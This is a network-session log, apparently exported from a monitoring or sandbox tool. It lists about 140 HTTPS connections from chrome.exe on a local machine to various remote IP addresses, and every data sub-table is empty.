Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.4	51378	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.4	51247	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.4	51238	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.4	51362	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.4	51325	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.4	51266	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.4	51370	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.4	51354	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.4	51338	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.4	51335	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.4	51360	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.4	51324	52.22.88.168	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.4	51262	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.4	51393	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.4	51301	34.107.182.139	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.4	51406	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.4	51368	45.55.126.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.4	51417	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.4	51303	34.233.219.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.4	51249	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.4	51407	35.211.233.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.4	51426	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.4	51323	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.4	51300	141.95.33.120	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.4	51403	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.4	51415	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.4	51394	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.4	51423	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.4	51235	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.4	51367	104.18.25.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.4	51388	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.4	51396	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.4	51329	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.4	51299	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.4	51336	23.222.200.28	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.4	51250	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.4	51413	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.4	51386	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.4	51339	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.4	51402	35.210.53.219	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.4	51347	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.4	51425	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.4	51356	162.55.120.196	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.4	51401	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.4	51361	216.22.16.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.4	51416	35.211.118.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.4	51392	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.4	51389	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.4	51412	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.4	51422	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.4	51364	35.186.193.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.4	51369	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.4	51374	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.4	51409	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.4	51408	54.156.138.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.4	51438	34.111.205.194	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.4	51451	8.18.47.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.4	51449	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.4	51445	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.4	51454	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.4	51418	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.4	51387	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.4	51383	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.4	51398	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.4	51430	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.4	51435	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.4	51379	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.4	51427	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.4	51384	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.4	51363	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.4	51434	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.4	51414	35.170.221.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.4	51424	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.4	51421	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.4	51381	146.59.136.188	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.4	51429	54.84.169.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.4	51453	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.4	51441	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.4	51433	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.4	51447	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.4	51442	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.4	51444	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.4	51443	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.4	51432	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.4	51440	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.4	51461	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.4	51452	85.114.159.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.4	51473	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.4	51463	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.4	51462	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.4	51467	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.4	51472	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.4	51466	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.4	51481	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.4	51475	3.210.126.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.4	51477	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.4	51476	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.4	51497	34.198.123.133	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.4	51487	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.4	51468	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.4	51474	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.4	51493	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.4	51490	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.4	51494	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.4	51455	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.4	51457	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.4	51458	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.4	51460	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.4	51469	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.4	51471	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.4	51446	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.4	51428	34.150.170.96	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.4	51420	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.4	51480	54.156.21.247	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.4	51483	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.4	51485	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.4	51456	3.209.218.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.4	51436	3.222.105.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.4	51450	91.216.195.7	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.4	51492	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.4	51488	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.4	51486	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.4	51489	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.4	51500	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.4	51464	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.4	51465	192.184.68.228	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.4	51495	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.4	51498	146.59.136.188	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.4	51484	3.232.64.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.4	51499	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.4	51448	35.210.53.219	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.4	51382	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.4	51496	51.75.130.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.4	51502	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.4	51501	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.4	51505	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.4	51503	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.4	51504	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.4	51506	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.4	51516	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

